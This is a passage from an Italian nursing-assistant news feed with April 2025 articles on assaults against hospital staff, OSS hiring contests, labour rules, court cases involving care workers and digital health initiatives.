ha evidenziato la necessità di riconoscere e valorizzare il lavoro degli OSS, proponendo l'inclusione nella detassazione degli straordinari al pari di medici e infermieri. Ha inoltre sottolineato l'urgenza di procedere all'evoluzione della figura dell'OSS, eliminando il limbo di "ruolo tecnico di interesse sanitario" che genera contraddizioni e discriminazioni. "Riconoscere e valorizzare il lavoro degli OSS non è solo una questione di giustizia, ma un investimento per il futuro del sistema sanitario nazionale", ha affermato Diglio, confidando nel Governo Meloni per garantire equità a chi rappresenta un pilastro dell'assistenza nel SSN. --- > Aggressione a Lamezia: medico e infermiere colpiti in Pronto Soccorso, scattano le indagini e si studiano nuove misure di sicurezza. - Published: 2025-04-27 - Modified: 2025-04-27 - URL: https://ossinreparto.it/news/2025/04/27/aggressione-lamezia-medico-infermiere-ps/ - Categorie: Attualità Aggressione al Pronto Soccorso di Lamezia Terme: un medico e un infermiere colpiti durante il turno, indagini in corso e nuove misure annunciate per garantire sicurezza e prevenire nuovi episodi. Nuovo episodio di violenza ai danni del personale sanitario al Pronto Soccorso dell’Ospedale Giovanni Paolo II di Lamezia Terme. Nella serata di ieri, un uomo in stato di alterazione avrebbe aggredito un medico e un’infermiera, scatenando il panico tra pazienti e operatori. L’intervento dei Carabinieri, già presenti nella struttura, ha evitato conseguenze più gravi. Secondo le prime ricostruzioni, l’uomo, agitato e aggressivo, avrebbe iniziato a urlare minacce prima di assalire fisicamente i sanitari. Alcuni testimoni parlano di spintoni e percosse, mentre il personale ha cercato di calmare la situazione. Europol, il servizio di vigilanza interno, e le Forze dell’Ordine sono intervenuti per bloccare l’aggressore, ora identificato e denunciato. Le reazioni: sindacati e politica uniti nel condannare l’accaduto L’episodio ha riacceso il dibattito sulla sicurezza negli ospedali, con sindacati e rappresentanti istituzionali che chiedono interventi immediati. Lega: Antonietta D’Amico (Commissario cittadino) denuncia:«Inaccettabile che chi salva vite rischi la propria incolumità. Servono più controlli». Cgil Area Vasta: Enzo Scalese e Franco Grillo lanciano l’allarme:«Basta violenze contro chi cura. Servono più infermieri e sicurezza strutturale». USB Sanità: «L’ASP di Catanzaro abbandona i lavoratori. Servono più risorse». OPI Catanzaro (Ordine Infermieri): L’avvocato Francesco Pitaro chiede presidi fissi di Polizia nel Pronto Soccorso. CISL: Daniele Gualtieri propone vigilanza armata professionale 24/7. Associazione "Senza Nodi": Nadia Donato suggerisce di collegare le telecamere ospedaliere alla Questura. Per fronteggiare l’allarmante aumento delle violenze nei Pronto Soccorso, si propone l’istituzione di un presidio fisso delle Forze dell’Ordine. Una presenza continua delle forze di polizia all'interno delle strutture ospedaliere avrebbe una funzione sia deterrente sia operativa, consentendo interventi tempestivi in caso di episodi critici. Altrettanto urgente è il potenziamento degli organici sanitari. L’incremento di medici, infermieri e personale di supporto permetterebbe di ridurre i tempi d'attesa, uno dei principali fattori scatenanti di nervosismo e tensioni tra i pazienti e i loro familiari. Una delle proposte sul tavolo riguarda anche la formazione specifica del personale. Corsi anti-aggressione e tecniche di de-escalation dovrebbero diventare parte integrante della preparazione degli operatori sanitari, offrendo strumenti pratici per affrontare situazioni potenzialmente pericolose. Parallelamente si punta sulla tecnologia, attraverso un sistema di videosorveglianza attiva collegato direttamente con le autorità competenti. L’obiettivo è garantire un allarme immediato e interventi rapidi in caso di aggressioni. Infine, si sottolinea la necessità di migliorare la logistica e gli spazi interni dei Pronto Soccorso. Strutture più ampie e meglio organizzate permetterebbero di evitare situazioni di sovraffollamento, che spesso innescano stress e comportamenti aggressivi. Il caso di Lamezia Terme non è isolato. In tutta Italia si registra una crescita preoccupante degli episodi di violenza contro il personale sanitario. Secondo i dati più recenti della Federazione Nazionale degli Ordini dei Medici (FNOMCeO), nel 2024 sono stati denunciati oltre 1. 200 casi di aggressioni, con un aumento del 15% rispetto all’anno precedente. --- > Il Ddl sanità apre alla libera professione per gli operatori. Nursing Up solleva dubbi su controlli e temporaneità delle misure. - Published: 2025-04-25 - Modified: 2025-04-25 - URL: https://ossinreparto.it/news/2025/04/25/ddl-sanita-nursing-up-preoccupazioni-libera-professione-oss/ - Categorie: Attualità Il Ddl sulle prestazioni sanitarie introduce novità su orario e attività extra per gli operatori. Nursing Up esprime dubbi sulla temporaneità delle misure e sul controllo del lavoro esterno. Il Senato ha recentemente approvato il disegno di legge sulle prestazioni sanitarie, suscitando un acceso dibattito nel settore sanitario. L'articolo 13 del decreto, in particolare, ha attirato l'attenzione dell'associazione Nursing Up, che ha espresso preoccupazioni riguardo alle misure previste per l'approvazione dei servizi sanitari. Le novità del Ddl prestazioni sanitarie Il Ddl introduce modifiche significative nel sistema sanitario italiano, tra cui: Disapplicazione del regime di esclusività: Fino al 31 dicembre 2025, gli operatori sanitari potranno esercitare attività libero-professionali al di fuori dell'orario di servizio; Verifica dell'orario di lavoro: Le aziende sanitarie dovranno verificare il rispetto della normativa sull'orario di lavoro per i professionisti che svolgono attività esterne. Le preoccupazioni di Nursing Up Antonio De Palma, presidente del sindacato Nursing Up, ha detto di non essere convinto dalla scelta di rendere temporanea la possibilità per gli operatori sanitari di lavorare anche fuori dall’orario ospedaliero. Secondo lui, sarebbe meglio rendere questa libertà permanente, così da dare più valore e spazio alle competenze degli infermieri e degli altri professionisti non medici. Inoltre, ha criticato il fatto che le aziende sanitarie possano controllare quanto lavorano questi professionisti anche fuori dall’orario normale: secondo lui, è un limite ingiusto alla loro libertà di lavorare. Nonostante le critiche, Nursing Up ha accolto con favore la modifica dell'articolo 1 del Ddl, che ha evitato il blocco delle competenze avanzate per gli infermieri e altri professionisti sanitari non medici. De Palma ha sottolineato l'importanza di costruire una sanità che valorizzi le competenze di tutti i professionisti, promuovendo un sistema multiprofessionale in cui medici e infermieri collaborino pienamente. Per concludere, la riforma del sistema sanitario rappresenta un passo importante verso l'ottimizzazione dei servizi e la valorizzazione delle competenze dei professionisti sanitari. Tuttavia, le preoccupazioni espresse da Nursing Up evidenziano la necessità di un dialogo continuo tra istituzioni e operatori del settore per garantire che le riforme siano efficaci, inclusive e sostenibili nel lungo termine. --- > L’aspettativa non retribuita per incarico a termine è un diritto per infermieri e OSS: lo conferma l’ARAN, tutelando la mobilità nel pubblico impiego sanitario. - Published: 2025-04-25 - Modified: 2025-04-24 - URL: https://ossinreparto.it/news/2025/04/25/aspettativa-non-retribuita-oss-infermieri/ - Categorie: Attualità L’aspettativa non retribuita per incarico a termine è un diritto per infermieri e OSS: lo conferma l’ARAN, tutelando la mobilità nel pubblico impiego sanitario. L’aspettativa non retribuita per incarico a tempo determinato presso un’altra amministrazione pubblica non è una concessione, ma un diritto riconosciuto a tutti i dipendenti del comparto sanitario, inclusi infermieri, operatori socio-sanitari (OSS) e altre professioni sanitarie. A chiarirlo è l’ARAN (Agenzia per la Rappresentanza Negoziale delle Pubbliche Amministrazioni), che nel parere del 17 febbraio 2025 ribadisce: "Non vi è discrezionalità per l’Azienda nella concessione, al dipendente a tempo indeterminato, di tale aspettativa la quale deve essere concessa per tutta la durata del contratto di lavoro a termine... ". Una dichiarazione che conferma quanto già previsto dall’Art. 12, comma 8, lett. b del CCNL integrativo del 20 settembre 2001, dove si stabilisce con chiarezza il diritto soggettivo del dipendente pubblico a richiedere e ottenere l’aspettativa non retribuita, senza che l’azienda possa opporsi o introdurre criteri valutativi discrezionali. Questo riconoscimento è fondamentale per garantire la mobilità professionale all’interno del pubblico impiego, offrendo al personale sanitario l’opportunità di accettare incarichi a termine in altre strutture o regioni senza perdere il proprio posto di lavoro originario. --- > Due OSS aggredite al pronto soccorso di Ivrea: escalation di violenza, scatta la stretta sulla sicurezza. Sindacati e ASL in allerta. - Published: 2025-04-24 - Modified: 2025-04-24 - URL: https://ossinreparto.it/news/2025/04/24/oss-aggredite-pronto-soccorso-ivrea-allarme-sicurezza-sanitaria/ - Categorie: Attualità Due OSS aggredite al pronto soccorso di Ivrea: escalation di violenza, scatta la stretta sulla sicurezza. Sindacati e ASL in allerta. Due Operatrici Socio-Sanitarie (OSS) sono state brutalmente aggredite questa mattina intorno alle 10:30 nel pronto soccorso dell'ospedale di Ivrea. L'episodio ha scatenato un'ondata di indignazione tra il personale sanitario e i sindacati, che da tempo denunciano l'escalation di violenze nelle strutture sanitarie. Secondo quanto riferito dal sindacato Nursind, l'aggressione è solo l'ultimo di una serie di episodi preoccupanti. Nei giorni scorsi, un paziente con disturbi psichiatrici ha sfondato un muro del pronto soccorso con un calcio, mentre un'altra paziente ha ribaltato una scrivania, ferendo un'infermiera alla mano. "Il numero di episodi di aggressione fisica e verbale presso il pronto soccorso di Ivrea è fortemente allarmante", ha dichiarato Giuseppe Summa, referente del Nursind, sottolineando come la situazione sia particolarmente critica rispetto ad altre realtà sanitarie italiane. In risposta a questi eventi, l'ASL TO4 ha annunciato l'implementazione di misure di sicurezza rafforzate, tra cui l'introduzione di guardie armate come deterrente contro le aggressioni. Inoltre, la regione Piemonte, attraverso l'assessore alla sanità Federico Riboldi, ha espresso una ferma condanna dell'accaduto e ha ribadito l'impegno a dotare i pronto soccorso di dispositivi elettronici di allerta e sistemi di videosorveglianza proattiva. Il sindacato Nursind ha richiesto un incontro urgente con il Prefetto per discutere ulteriori misure a tutela del personale sanitario. La situazione a Ivrea evidenzia la necessità di interventi immediati per garantire la sicurezza degli operatori e prevenire ulteriori episodi di violenza. --- > Due operatori socio-sanitari hanno patteggiato nel processo che coinvolge nove OSS di una RSA. Per altri cinque si valuta la messa alla prova. - Published: 2025-04-23 - Modified: 2025-04-23 - URL: https://ossinreparto.it/news/2025/04/23/indagati-nove-oss-rsa-anziani/ - Categorie: Attualità - Tag: Lavorare come OSS Il caso solleva interrogativi sulla qualità dell’assistenza nelle strutture per anziani. Nuovi sviluppi nella vicenda giudiziaria che coinvolge nove operatori socio-sanitari (OSS) in servizio presso una Residenza Sanitaria Assistenziale. L’inchiesta, che ha acceso i riflettori su possibili irregolarità all’interno della struttura, è entrata nel vivo durante l’udienza preliminare. Due degli indagati hanno scelto di patteggiare, ottenendo condanne rispettivamente a un anno e a un anno e quattro mesi di reclusione, probabilmente con sospensione condizionale. Una mossa che evidenzia una prima assunzione di responsabilità e consente loro di evitare un processo ordinario. Per altri cinque operatori, la Procura ha proposto il ricorso alla "messa alla prova": un percorso alternativo che, attraverso attività socialmente utili, potrebbe portare all’estinzione del reato se concluso con esito positivo. Il giudice dovrà ora decidere se accogliere tale richiesta. I restanti OSS dovranno invece affrontare un processo ordinario, nel quale verranno vagliate le prove raccolte e le eventuali difese. Al momento non sono emersi dettagli ufficiali sulle accuse specifiche, ma si ipotizzano violazioni dei protocolli assistenziali o comportamenti lesivi verso gli ospiti della struttura. Il caso riapre il dibattito sulla qualità dell’assistenza nelle RSA e sul ruolo, spesso sottovalutato, degli OSS. Figure centrali nella cura quotidiana delle persone fragili, gli operatori socio-sanitari sono chiamati a garantire standard elevati di professionalità e umanità. Ulteriori aggiornamenti seguiranno con le decisioni del giudice in merito alla messa alla prova e l’inizio del dibattimento per gli imputati che hanno scelto di non patteggiare. --- > ASP Parma assume 38 OSS a tempo indeterminato. Scadenza domande 5 maggio 2025. Tutti i requisiti, riserve e prove d'esame nel bando. - Published: 2025-04-23 - Modified: 2025-04-23 - URL: https://ossinreparto.it/news/2025/04/23/concorso-oss-38-posti-operatore-socio-sanitario-asp-parma/ - Categorie: Avvisi Pubblici, Concorsi, News Concorsi - Tag: Lavorare come OSS L’ASP del Distretto di Parma ha indetto un concorso pubblico per l’assunzione di 38 Operatori Socio Sanitari (OSS) a tempo pieno e indeterminato. L’Azienda di Servizi alla Persona (ASP) del Distretto di Parma ha bandito un concorso pubblico per soli esami finalizzato all’assunzione di 38 Operatori Socio Sanitari (OSS) a tempo pieno e indeterminato, nell’ambito dell’Area degli Operatori Esperti, secondo il Contratto Collettivo Nazionale delle Funzioni Locali. Le domande di partecipazione devono essere presentate entro le ore 23:00 del 5 maggio 2025 attraverso il portale inPA (www. inpa. gov. it). Posti riservati Il bando prevede riserve per categorie specifiche: 11 posti sono riservati ai volontari delle Forze Armate congedati senza demerito, ai volontari in servizio permanente e agli ufficiali di complemento che abbiano completato senza demerito la ferma contratta, in base agli articoli 678 e 1014 del D. lgs. 66/2010. 6 posti sono riservati agli operatori volontari che hanno completato senza demerito il Servizio Civile Universale, come previsto dalla Legge 21 giugno 2023, n. 74. Requisiti richiesti Per partecipare al concorso è necessario essere in possesso dei seguenti requisiti: Diploma di scuola secondaria di primo grado (licenza media) o titolo equipollente riconosciuto. Attestato professionale di Operatore Socio Sanitario rilasciato o riconosciuto dalla Regione Emilia-Romagna o da altre Regioni. L’attestato deve essere allegato alla domanda. Modalità di selezione La selezione avverrà attraverso due prove: Una prova scritta a contenuto teorico e teorico-pratico, consistente in quiz a risposta multipla anche su casi pratici. Una prova orale che includerà il colloquio sulle materie della prova scritta, la verifica della motivazione, delle attitudini personali, delle competenze trasversali, della conoscenza della lingua inglese e dell’informatica. Ogni prova è valutata fino a un massimo di 30 punti e si intende superata con almeno 21/30. Il punteggio finale sarà determinato dalla somma delle due prove. Il bando completo è disponibile sul sito inPA, sezione “Bandi e avvisi”, direttamente qui: Bando Concorso OSS ASP Parma 2025 --- > Un operatore socio-sanitario è stato aggredito da un parente di un paziente pediatrico all’ospedale di Castrovillari. Contusioni e cinque giorni di prognosi. - Published: 2025-04-22 - Modified: 2025-04-22 - URL: https://ossinreparto.it/news/2025/04/22/ospedale-castrovillari-oss-aggredito/ - Categorie: Attualità - Tag: Lavorare come OSS Un operatore socio-sanitario è stato aggredito da un parente di un paziente pediatrico all’ospedale di Castrovillari. Contusioni e cinque giorni di prognosi. Indagano i carabinieri. Domenica pomeriggio di tensione all’ospedale “Ferrari” di Castrovillari, in provincia di Cosenza. Durante l’orario di visita nel reparto di Pediatria, un operatore socio-sanitario (OSS) è stato aggredito fisicamente da un parente di un giovane paziente, sotto gli occhi di altri bambini e genitori presenti in corsia. L’aggressione sarebbe scaturita a seguito di un richiamo verbale da parte dell’OSS, che aveva invitato l’uomo a lasciare la corsia in quanto non era uno dei genitori del minore ricoverato, ma un parente terzo. Il richiamo, volto al rispetto delle norme sanitarie e di tutela della privacy, ha scatenato una reazione violenta. L’operatore ha riportato contusioni ed ecchimosi, con una prognosi di cinque giorni, ed è stato immediatamente assistito dal personale del Pronto soccorso dello stesso ospedale. Sul luogo dell’aggressione sono intervenuti i carabinieri della Compagnia di Castrovillari, che hanno ricostruito l’accaduto e denunciato l’aggressore. Il caso ha riacceso l’allarme sulle condizioni di sicurezza del personale sanitario, sempre più spesso esposto a episodi di violenza nei luoghi di cura. Ordini professionali e sindacati tornano a chiedere misure più efficaci per la prevenzione e la tutela degli operatori, soprattutto nei reparti più sensibili come quello pediatrico. Gli sviluppi dell’inchiesta chiariranno eventuali ulteriori responsabilità e potrebbero aprire la strada a una nuova riflessione sul rispetto delle regole all’interno degli ospedali. --- - Published: 2025-04-21 - Modified: 2025-04-21 - URL: https://ossinreparto.it/news/2025/04/21/civitavecchia-50-oss-vincitori-del-concorso-ancora-in-attesa-di-assunzione/ - Categorie: Concorsi, News Concorsi - Tag: Lavorare come OSS A Civitavecchia, 50 OSS vincitori del concorso Tor Vergata attendono l’assunzione. I sindacati chiedono risposte rapide alla ASL Roma 4. A oltre due mesi dalla pubblicazione della graduatoria definitiva del concorso per operatori socio-sanitari (OSS) bandito dal Policlinico Tor Vergata, con la ASL Roma 4 che aveva richiesto 50 unità, molti vincitori risultano ancora senza convocazione ufficiale. Un’attesa che alimenta frustrazione e incertezza tra i candidati idonei, alcuni dei quali, pur nelle prime posizioni in graduatoria, non sono stati contattati, mentre colleghi con posizioni inferiori lavorano già in altre strutture sanitarie. In molti hanno rinunciato ad altre opportunità lavorative per garantire la disponibilità immediata, come previsto dal bando. Sindacati preoccupati: “Situazione insostenibile” Secondo la comunicazione della ASL, le assunzioni dipendono dalla scadenza del contratto con la cooperativa esterna attualmente in servizio. Tuttavia, la mancanza di tempi certi ha spinto i sindacati UIL FPL ad alzare la voce. Margherita Curti Ruggiero e Claudio Benedetti, rappresentanti sindacali aziendali e regionali, dichiarano:“È inaccettabile che operatori vincitori restino bloccati da una burocrazia lenta. Serve un segnale concreto e rapido dall’amministrazione”. L’azienda sta valutando anche una possibile riorganizzazione del personale, con un impiego nei nuovi presidi previsti dal PNRR come le Case di Comunità, ma i tempi restano indefiniti. Intanto, i 50 OSS attendono una risposta che dia finalmente valore al loro merito e alla fatica sostenuta per superare il concorso. --- > Condanna a 8 anni per un infermiere di Ravenna accusato di abusi sessuali su 4 pazienti in una clinica psichiatrica. - Published: 2025-04-19 - Modified: 2025-04-19 - URL: https://ossinreparto.it/news/2025/04/19/abusava-sessualmente-pazienti-condanna-infermiere/ - Categorie: Attualità Un infermiere è stato condannato a 8 anni per aver abusato di 4 pazienti in una clinica psichiatrica di Riolo Terme, provincia di Ravenna. Un'inquietante vicenda ha scosso la comunità di Riolo Terme, in provincia di Ravenna, con una sentenza che ha coinvolto un infermiere accusato di abusi sessuali su quattro giovani pazienti. L'uomo, un 31enne che lavorava presso la clinica psichiatrica Villa Azzurra, è stato condannato a 8 anni di reclusione per gli abusi avvenuti tra il 2022 e il 2023. La vicenda ha avuto inizio grazie alla denuncia di una delle vittime, che ha rivelato gli abusi subiti all'interno della struttura sanitaria. Da quel momento, le indagini dei Carabinieri della Compagnia di Faenza hanno fatto emergere altri casi di violenza simili, coinvolgendo altre pazienti della clinica, tutte ventenni. L'infermiere, che aveva approfittato della sua posizione di autorità e della fragilità delle sue vittime, è stato posto agli arresti domiciliari lo scorso marzo. Durante il processo, che si è svolto con rito abbreviato, il giudice ha condannato l'imputato, concedendo delle attenuanti generiche. Oltre alla pena detentiva, l'infermiere è stato interdetto dai pubblici uffici per tutta la vita e sospeso dalla professione infermieristica per un periodo di tre anni. Inoltre, la sentenza ha previsto la possibilità per le vittime di chiedere risarcimenti, con una delle due che ha già ottenuto 17. 000 euro come compensazione per il danno subito. Il caso ha sollevato preoccupazione non solo per la gravità degli abusi ma anche per la sicurezza all'interno delle strutture psichiatriche. Purtroppo, questo non è stato l'unico episodio di violenza registrato nella stessa clinica: appena a gennaio di quest'anno, un altro infermiere, un 36enne, era stato arrestato con l'accusa di stupro nei confronti di una giovane paziente della stessa struttura. La vicenda ha generato un forte dibattito sulla necessità di maggiore vigilanza nelle strutture sanitarie e sulla protezione dei pazienti, specialmente quelli vulnerabili come quelli ricoverati in cliniche psichiatriche. Il caso rimarrà sotto la luce dei riflettori, mentre le autorità proseguono nell'indagine su eventuali altre irregolarità all'interno della struttura sanitaria. --- > Concorso OSS Regione Campania 2025: pubblicati gli elenchi degli ammessi alla prova scritta per 1274 posti. Ecco tutto ciò che sappiamo finora. - Published: 2025-04-19 - Modified: 2025-04-19 - URL: https://ossinreparto.it/news/2025/04/19/concorso-oss-campania-aggiornamenti/ - Categorie: Concorsi, News Concorsi - Tag: Lavorare come OSS Concorso OSS Regione Campania 2025: pubblicati gli elenchi degli ammessi alla prova scritta per 1274 posti. Ecco tutto ciò che sappiamo finora. Prosegue l’attesa per una delle selezioni pubbliche più attese nel settore socio-sanitario del Sud Italia: il Concorso per Operatori Socio Sanitari (OSS) indetto dalla Regione Campania, che prevede 1274 posti complessivi distribuiti tra l’Area 1 e l’Area 2. Dopo mesi di attesa e speculazioni, iniziano finalmente ad arrivare comunicazioni ufficiali: sono stati pubblicati gli elenchi dei candidati ammessi alla prova scritta, sia per l’Area 1, sia per l’Area 2. L’elenco degli ammessi alla prova scritta per l’Area 1 è già disponibile e consultabile online, così come quello per l’Area 2. I candidati che troveranno il proprio nominativo potranno iniziare a prepararsi concretamente per le prove, che saranno suddivise in una prova scritta a quiz e una prova orale, come previsto dal bando ufficiale. Vuoi ricevere aggiornamenti in tempo reale su date, graduatorie, correzioni e risultati del concorso OSS Campania? Iscriviti alla nostra newsletter gratuita e non perderti nulla! Nome Email Privacy Ho preso visione dell'informativa Privacy ISCRIVITI Come sarà strutturato l’esame? Le prove del Concorso OSS Regione Campania 2024/2025 seguiranno un’impostazione ben definita: Prova scritta La prova scritta, anche con contenuti teorico-pratici, sarà composta da quesiti a risposta multipla estratti da un’unica banca dati ufficiale, che verrà pubblicata sui siti delle aziende capofila. Le materie principali saranno: Elementi di legislazione sociale e sanitaria Aspetti organizzativi del lavoro sociale e sanitario Assistenza alla persona Anatomia e fisiologia umana Prova orale La prova orale approfondirà ulteriori competenze tra cui: Legislazione nazionale e regionale socioassistenziale Normativa sulla sicurezza (D. Lgs. 81/08) Etica, deontologia e diritto del lavoro Relazione e comunicazione con l’utenza Igiene e comfort alberghiero Interventi assistenziali in contesti specifici Elementi di primo soccorso Uso degli strumenti informatici e lingua inglese Dove trovare gli elenchi degli ammessi? Per consultare l’elenco dei candidati ammessi alla prova scritta - Area 1: Clicca quiPer consultare l’elenco dei candidati ammessi alla prova scritta – Area 2: Clicca qui Prossimi passi e attese Al momento, non è stata ancora comunicata la data ufficiale delle prove scritte, ma è presumibile che l’annuncio venga pubblicato a breve, proprio insieme alla banca dati ufficiale dei quiz. Considerando la tempistica di pubblicazione degli elenchi, è lecito aspettarsi che le prove possano tenersi tra la fine della primavera e l’inizio dell’estate 2025. Nel frattempo, consigliamo a tutti i candidati ammessi di: Iniziare a studiare le materie indicate, magari consultando manuali specifici per OSS aggiornati al 2025 Monitorare costantemente i siti delle aziende sanitarie capofila e della Regione Campania Restare iscritti alla nostra newsletter per ricevere direttamente tutti gli aggiornamenti, senza perdersi date o nuove comunicazioni ufficiali. Per aggiornamenti in tempo reale, materiale di studio e date ufficiali, continua a seguirci oppure iscriviti alla newsletter qui sopra. In copertina: Libro "Concorso 1274 OSS Regione Campania". --- > Ecco le strategie digitali annunciate al Digital Health Forum 2025 per ridurre le liste d'attesa sanitarie, con l'app IO e l'intelligenza artificiale. - Published: 2025-04-18 - Modified: 2025-04-18 - URL: https://ossinreparto.it/news/2025/04/18/addio-liste-attesa-sanitarie-app-io/ - Categorie: Attualità Al Digital Health Forum 2025, il Sottosegretario Butti ha presentato soluzioni digitali per ridurre le liste d'attesa sanitarie, tra cui l'app IO e l'uso dell'intelligenza artificiale per ottimizzare i servizi. Il futuro della sanità pubblica passa al digitale. Al Digital Health Forum 2025, il Sottosegretario all’Innovazione Alessio Butti ha annunciato nuove strategie per contrastare le liste d’attesa sanitarie, puntando sull’uso intelligente della tecnologia e, in particolare, dell’app IO, la piattaforma digitale della Pubblica Amministrazione. Uno dei nodi critici che aggravano l’emergenza delle attese è rappresentato dagli appuntamenti mancati. Secondo Butti, molti cittadini dimenticano, rinunciano o trascurano le visite prenotate, spesso perché non esiste un sistema semplice per disdire in tempo utile. La proposta? Abilitare la disdetta diretta tramite app IO, rendendo l’operazione più rapida, intuitiva ed efficace. I primi risultati arrivano dalla Lombardia, dove la sperimentazione ha portato a una riduzione del 30% dei “no show”. Ogni appuntamento liberato in tempo diventa così una nuova opportunità di cura per un altro paziente, migliorando l’efficienza del sistema sanitario. Ma non finisce qui: l’intelligenza artificiale entra in gioco per prevedere le assenze e ottimizzare le agende mediche. Progetti pilota sono in partenza in Liguria e in altre regioni italiane, con l’obiettivo di anticipare i comportamenti e pianificare con maggiore precisione. La digitalizzazione dei servizi pubblici sta facendo passi da gigante e l’app IO si conferma al centro di questo cambiamento. Dopo l’introduzione di nuove funzioni come lo sportello virtuale della Motorizzazione Civile, ora si prepara a rivoluzionare anche il modo in cui i cittadini interagiscono con la sanità. Nuove funzionalità in arrivo sull'app IO per la sanità pubblica L'app IO si prepara a ricevere ulteriori aggiornamenti per migliorare la gestione della sanità pubblica. Tra le novità previste, l'introduzione di funzionalità che consentiranno ai cittadini di gestire le prenotazioni mediche in modo più efficiente, inclusa la possibilità di ricevere notifiche e promemoria direttamente sull'app. Queste innovazioni mirano a ridurre ulteriormente il fenomeno dei "no show" e a ottimizzare l'utilizzo delle risorse sanitarie disponibili. Inoltre, è in fase di sviluppo l'integrazione dell'intelligenza artificiale per prevedere in anticipo eventuali mancate presentazioni agli appuntamenti medici. Questa tecnologia permetterà di anticipare i comportamenti dei pazienti e di pianificare con maggiore precisione le agende mediche, migliorando l'efficienza del sistema sanitario. Al momento, non sono state comunicate date ufficiali per il rilascio di queste nuove funzionalità. Tuttavia, le sperimentazioni sono in corso e si prevede che nei prossimi mesi l'app IO possa offrire strumenti ancora più avanzati per semplificare l'accesso ai servizi sanitari da parte dei cittadini. --- > Migep e Stati Generali OSS ringraziano gli operatori socio-sanitari candidati con SHC OSS alle RSU 2025: “Avete lottato per una categoria dimenticata”. - Published: 2025-04-18 - Modified: 2025-04-18 - URL: https://ossinreparto.it/news/2025/04/18/elezioni-rsu-2025-migep-ringrazia-candidati-oss/ - Categorie: Attualità, Legislazione Sanitaria - Tag: Lavorare come OSS Migep e Stati Generali OSS ringraziano i candidati SHC OSS alle RSU 2025: impegno, coraggio e coesione per dare voce agli operatori socio-sanitari. In una nota congiunta firmata da Angelo Minghetti, presidente della Federazione Migep, e Gennaro Sorrentino degli Stati Generali OSS, arriva un messaggio di ringraziamento rivolto a tutti gli operatori socio-sanitari (OSS) che hanno partecipato alle Elezioni RSU 2025 candidandosi con SHC OSS, il sindacato di categoria. “Avete creduto in voi stessi e nel progetto che stavate costruendo”, scrivono Minghetti e Sorrentino, sottolineando il coraggio di chi ha scelto di dare voce a una professione spesso ignorata dai sindacati tradizionali. Un impegno che, secondo la nota, ha portato in passato anche a risultati “storici e concreti” in molte aziende sanitarie. Il comunicato evidenzia anche le difficoltà affrontate dai candidati OSS, che si sono trovati davanti un sistema spesso impermeabile al cambiamento. “Non siete stati sconfitti per incapacità, ma per l’indifferenza di una categoria che ancora fatica a riconoscere l’importanza della rappresentanza”, si legge nel messaggio. C’è spazio anche per un’autocritica rivolta alla professione OSS stessa, accusata di rifugiarsi in schemi superati, lasciando la rappresentanza in mano a figure esterne come infermieri, tecnici e amministrativi. Tuttavia, il tono si fa orgoglioso nel riconoscere il valore di chi, pur senza ottenere un seggio, ha lasciato un segno attraverso il proprio impegno quotidiano. “È stata una piccola, grande impresa”, scrivono ancora, ricordando che i seggi ottenuti non sono frutto di carriere personali, ma il risultato di un lavoro di squadra basato su trasparenza e legalità. La chiusura della nota è un ringraziamento collettivo: “Solo un sindacato di categoria può difendere realmente i diritti degli OSS. Noi saremo sempre al fianco di chi ha il coraggio di schierarsi per la parte giusta”. --- > Un OSS dell’Asp Palermo accusato di aver filmato le colleghe mentre si cambiavano. Partita un’indagine, chiesto il rinvio a giudizio. - Published: 2025-04-17 - Modified: 2025-04-17 - URL: https://ossinreparto.it/news/2025/04/17/oss-palermo-spiava-colleghe-spogliatoio/ - Categorie: Attualità Chiesto il rinvio a giudizio per un operatore socio-sanitario dell’Asp: l’inchiesta partita dalla denuncia di una collega insospettita. Uno smartphone nascosto in un camice appeso, la videocamera puntata sugli armadietti del personale femminile. È con questo espediente che un operatore socio-sanitario (OSS) cinquantenne, dipendente dell’Asp di Palermo, avrebbe ripreso di nascosto alcune colleghe mentre si cambiavano all’inizio o alla fine del turno. La vicenda, che ha scosso profondamente l’ambiente lavorativo della struttura sanitaria coinvolta, è emersa grazie alla denuncia di una delle vittime. Insospettita dalla presenza insolita di un dispositivo in una zona riservata al personale femminile, la donna ha segnalato l’accaduto, dando il via alle indagini. Secondo alcune ipotesi, l’uomo avrebbe sfruttato la fiducia e la routine quotidiana per collocare più volte il dispositivo nel camerino del personale, con la videocamera rivolta verso gli armadietti. Il materiale sequestrato è stato posto al vaglio delle autorità, che hanno ritenuto sufficienti gli elementi raccolti per avanzare la richiesta di processo. L’udienza preliminare è stata fissata per il mese di giugno. Nel frattempo, l’Asp Palermo ha avviato un’indagine interna per verificare eventuali responsabilità disciplinari. Il caso ha generato sconcerto tra i dipendenti e ha rilanciato il dibattito sulla necessità di rafforzare le misure di tutela della privacy nei luoghi di lavoro, in particolare negli ambienti sanitari, dove il rispetto della dignità personale dovrebbe essere garantito come principio fondamentale. --- > Operatore socio sanitario arrestato ad Anzio: rubava farmaci dall'ospedale per usarli in visite mediche a domicilio. - Published: 2025-04-14 - Modified: 2025-04-14 - URL: https://ossinreparto.it/news/2025/04/14/oss-operatore-socio-sanitario-arrestato-peculato-furto-farmaci/ - Categorie: Attualità A Anzio, un operatore socio sanitario è stato arrestato per aver rubato farmaci dall’ospedale e usati in visite domiciliari. Trovate oltre 250 confezioni. Indagini in corso. Aveva trasformato il suo lavoro in un business parallelo, sfruttando l’accesso ai farmaci ospedalieri per offrire visite private a domicilio. Un operatore socio sanitario (Oss) di 59 anni è stato arrestato dai Carabinieri di Anzio con l’accusa di peculato, dopo un’indagine durata due mesi che ha portato alla scoperta di un’attività illecita condotta con mezzi pubblici. L’uomo, impiegato presso l’ospedale Riuniti di Anzio-Nettuno, si assentava senza giustificazione per effettuare prestazioni sanitarie private a domicilio, utilizzando farmaci e dispositivi sanitari sottratti dai reparti dove lavorava. Il tutto, secondo gli inquirenti, presumibilmente dietro compenso economico, anche se al momento non risultano accuse specifiche in tal senso. Sequestrate oltre 250 confezioni di farmaci Durante una perquisizione nella sua abitazione, i Carabinieri hanno rinvenuto oltre 250 confezioni tra medicinali e dispositivi sanitari, per un peso complessivo di circa 65 chilogrammi. Si trattava di materiali destinati esclusivamente all’uso ospedaliero, mai autorizzati per utilizzi esterni o privati. L’operatore è stato colto in flagranza subito dopo aver effettuato una delle sue visite “private”. A seguito dell’arresto, il tribunale di Velletri ha convalidato la misura cautelare, disponendo gli arresti domiciliari con l’applicazione del braccialetto elettronico. L’indagine, condotta con metodi tradizionali e strumenti tecnologici, prosegue per accertare l’ampiezza della rete di pazienti coinvolti e se vi siano stati pagamenti non tracciati per le prestazioni. Il 59enne potrebbe aver agito indisturbato per mesi, con una clientela fidelizzata ignara della provenienza 